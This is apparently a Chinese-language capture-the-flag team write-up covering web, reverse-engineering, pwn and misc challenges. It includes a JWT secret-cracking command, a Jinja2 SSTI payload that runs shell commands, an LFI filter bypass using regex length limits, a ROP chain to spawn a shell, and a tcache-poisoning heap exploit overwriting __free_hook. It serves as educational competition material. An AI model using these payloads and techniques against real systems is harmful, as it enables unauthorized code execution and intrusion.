Team: 芙莉熊
Rank: 9th
Web
bossti
第一關是用jwt sign的登入頁面,把密鑰用john暴一下並修改參數登入就好:john jwt.txt --wordlist=rockyou.txt --format=HMAC-SHA256
登入後的畫面上方有個7*7
,馬上想到SSTI,結合前面JWT帶有的參數hack就可以植入payload:{{config.__class__.__init__.__globals__['os'].popen('cat Flag.txt').read()}}
拿flag啦~
babyLFI(賽後解)
這題當下沒打出來是因為我在搞,100000打成1000000,結果噴錯說request太長,結果我就以為不是這樣做就沒做了
首先他有一個網站以及他有給網站source code
分析一下source code他用$_REQUEST{'filename#'}
來接收使用者輸入,所以可以用http://10.99.111.111:12345/index.php?filename%23=
這樣來接收輸入(記得#要urlencode,我忘記要用結果被卡了好幾個小時)
並且他有過濾掉php://filter,要想辦法繞過,才能用php://filter嘗試拿flag
另外注意到phpinfo在docker run 起來時就會被rm掉,所以可以自己架一個來看php info有沒有東西
在觀察phpinfo時我注意到PRCE限制為100000(哭阿,我打1000000,那時候沒有把他架起來QQ),所以我可以把payload填充到長度100000,繞過php://filter過濾。
繞過後直接用php://info構造payload就可以拿到flag
Reverse
Gaoyi
把所有判斷都 Patch 掉,跳到輸出 flag 的部分就好
Pwn
[name=Aukro]
腳本很醜 等修整好再丟上來
gift
送了一個大大大禮包
可以做記憶體任意寫
後來仔細想想如果多利用一下這邊的話可能可以更簡單
但我打的時候就只有單純的堆rop
- Partail RELRO
首先我先把__stack_chk_fail
hijack 成main
的leave ret
這樣就可以忽視stack canary
接下來我堆的是
1
2
3
4
5
6
7
8
rdi,
putsplt
putsgotplt
rdi
buf1
getsplt
rsi_r13_r14_r15_ret
buf1
也就是puts(putsgotplt); gets(buf1)
這樣就可以leak libc, 並且達到stack migration繼續開點
剛剛的gets的$\downarrow$
1
2
3
4
5
6
7
/bin/sh
0
0
rdi
buf1
ret //this is for alignment
system
system(/bin/sh)
> getshell
1 | rdi, |
1 | /bin/sh |
note
經典的heap note題
這次屬於沒有UAF的類型
但輸入可以off-by-one, 打Tcache positioning 最後打__free_hook
雖然這個off-by-one我找了一段時間
1.
1 | add(0,0x18) |
$0\ at\ 0x290$
$1\ at\ 0x2b0$
$2\ at\ 0x2d0$
$3\ at\ 0x2f0$
1 | delete(3) |
$0\ at\ 0x290$
$1\ at\ 0x2b0$
$T_{0x20}\rightarrow 2 \rightarrow 3$
----------------------------------IAMSPLITLINE----------------------------------------
2.
1 | edit(0,b'a'*0x18+b'\x51') |
chunk_1.size = 0x50
free&melloc拿回來 ind變成4 //其實好像可以用1
現在heap是
$0\ at\ 0x290$
$1\ at\ 0x2b0~0x2f0$
$2\ at\ 0x2d0(freed)$
$3\ at\ 0x2f0(freed)$
且$T_{0x20}\rightarrow 2 \rightarrow 3$ 所以如果想要的話這裡可以拿chunk2的fd, key來leak heap, Tcache entry----------------------------------IAMSPLITLINE----------------------------------------
3.
1 | add(1,0x18) |
下一步驟我們要libc所以需要創造unsortedbin
我們完全overlap的是freed掉的2
所以我們現在把它拿回來 (now it’s idx = 1)
然後把他的size改成0x420 > T_cache_maxSize
然後確保他是個合法的chunk並且不會被merge as0x420,chunk, chunk, top chunk
後面三個0x28是後面unsorted bin壞掉 我懶得修 所以乾脆在他壞掉前先malloc就不用擔心這問題了
free掉 這時候$unsorted\ bin \rightarrow chunk\ 1\ at\ 0x2d0$
且$T_{0x20} \rightarrow 3$----------------------------------IAMSPLITLINE----------------------------------------
4.
1 | padd = flat(0xdeadbeefdeadbeef)*3+b'abcdefgh' |
注意到現在可控的chunk 4在0x2b0 有0x48可寫
chunk 1在0x2d0
所以我們把chunk4填滿讓他不要有nullbyte直到overwrite 0x421
這樣就會剛好只把有libc資訊的那的蓋掉第一byte 並印出
這樣並不會影響我們計算libc base----------------------------------IAMSPLITLINE----------------------------------------
5.
1 | delete(6_from_getinfo) |
6是一個0x30的chunk
現在5,3,2是alocated chunk
然後分別在0x730, 0x790, 0x760
用5把2的size改成0x50
2 free掉 進$T_{0x50}$
3 free掉 進$T_{0x30}$
現在重要的是
$T_{0x50} \rightarrow 2$
$T_{0x30} \rightarrow 3 \rightarrow 6$(cnt =2 )
----------------------------------IAMSPLITLINE----------------------------------------
6.
1 | add(1,0x48) |
真正的重點
現在把2拿出來 (0x760~0x7a0)
可以改到3(0x790)
重點是 fd改成free_hook, key改掉
所以呢現在
$T_{0x30} \rightarrow 3 \rightarrow &__free_hook$(cnt=2)
把3拿出來
----------------------------------IAMSPLITLINE----------------------------------------
7.
1 | add(3,0x28) |
$T_{0x30} \rightarrow &__free_hook$(cnt=1)
再malloc一次就會拿出 __free_hook
把__free_hook
的內容寫上__libc_system
然後再任意的allocated chunk寫上/bin/sh
這裡選擇2
----------------------------------IAMSPLITLINE----------------------------------------
8.
free(2) == system(/bin/sh)
getshell
Misc
Space game
在網頁上拿到 game.gb
檔案,再用 GameBoy Emulator 把遊戲跑起來,用 Cheat Engine 修改擊敗敵人的數量 (>30) 抵達終點就會有 flag